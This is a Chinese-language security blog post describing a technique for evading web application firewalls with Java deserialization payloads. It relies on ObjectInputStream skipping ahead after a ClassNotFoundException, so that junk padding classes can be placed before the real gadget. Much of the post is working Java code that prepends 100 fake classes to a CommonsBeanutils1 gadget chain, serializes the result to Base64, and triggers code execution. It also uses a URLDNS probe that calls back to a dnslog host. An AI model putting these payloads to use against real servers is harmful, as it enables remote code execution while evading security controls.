对Java反序列化数据绕WAF新姿势的补充

对Java反序列化脏数据绕WAF新姿势的补充

引言

相信大家都看过回忆飘如雪大师傅的一篇文章,Java反序列化数据绕WAF之加大量脏数据,在这篇文章当中大师傅提出了通过将gadget加入到集合类型从而可以实现添加脏数据,这里我发现了一个新姿势

灵感也是来源于回忆飘如雪大师傅的另一篇文章的一个一笔带过的问题上

这原本是大师傅想来搞gadget探测的方案,但是却失败了,但本着专研的工匠精神,我对这个问题进行了深入的研究,这里顺便对这个问题解读

为什么这里第一个属性反序列化失败,仍然触发了URLDNS的整个过程

顺便这里多提一嘴,为什么之后大师傅提出的直接将URLDNS中的HashMap的键值对中将key或者value任意替换一个为需要探测的class就可以呢,其实核心原因在于是否能触发之后的hash()函数!

这里我们调重点来讲,好了我们来看看当产生ClassNotFoundException后,最终在java.io.ObjectInputStream#readSerialData,在抛出异常之后他会去继续调用skipCustomData

这里有个if判断,大概是判断当前是否还在块数据当中,如果是跳到下一个块数据当中,每个块分隔是通过0x78这个字节,因为这个字节是一个块的结尾

接下来是一个switch循环,通过下一字节来判断,这里如果都不是则会直接对下一段进行反序列化!!!很神奇吧

因此现在我们就能解释为什么当初对于,这一段代码我们能够成功触发URLDNS的反序列化过程呢,没错就是上面这张图,他直接对下一个块数据继续执行反序列化因此对HashMap的反序列化最终导致URLDNS完整触发

1
2
3
List<Object> a = new LinkedList<Object>();
a.add(makeClass("TargetClass"));
a.add(new URLDNS.getObject("http://test.dnslog.cn"));

那么为什么这样却能实现需求呢

1
2
3
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u,我是要探测的gadget);

在这里当调用了K key = (K) s.readObject();由于类不存在抛出异常,之后继续对下一块数据进行反序列化,最终抛出异常后也不可能继续调用下面的value = s.readObjet()了,更别谈通过hash函数最终触发URLDNS,因此最终能够成功

灵感大发

既然在抛出ClassNotFoundException后他还会去继续反序列化下一块数据,并且这是个相当于while True的东西🤪!!

那么我们是不是就可以这样疯狂套娃实现垃圾数据呢?说干就干,当然大家别忘了引入javassist的依赖

简简单单对CommonsBeanutils1来发测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Test {
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}

public static void main(String[] args) throws Exception{
PriorityQueue priorityQueue = CB1.getObject();
LinkedList linkedList = new LinkedList();
StringBuilder sb = new StringBuilder();
for(int i=0;i<100;i++){
sb.append("e");
linkedList.add(makeClass("woshijiad"+sb));
}
linkedList.add(priorityQueue);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(linkedList);
oos.close();
System.out.println(Base64.encode(barr.toByteArray()));
}
}

当然这里还有一个小坑就是

大家不要直接像这样,之前makeClass是返回的Class默认是继承序列化借口的,这样就导致虽然也能弹出计算器,但只是因为linkedList对里面的元素循环遍历执行readObject的结果,而不是本篇提出的通过在ClassNotFoundException利用skipCustomData后读取下一块数据执行反序列化利用的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PriorityQueue priorityQueue = CB1.getObject();
LinkedList linkedList = new LinkedList();
StringBuilder sb = new StringBuilder();
for(int i=0;i<100;i++){
sb.append("e");
linkedList.add(makeClass("woshijiad"+sb));
}
linkedList.add(priorityQueue);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(linkedList);
oos.close();
//不要同时运行
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();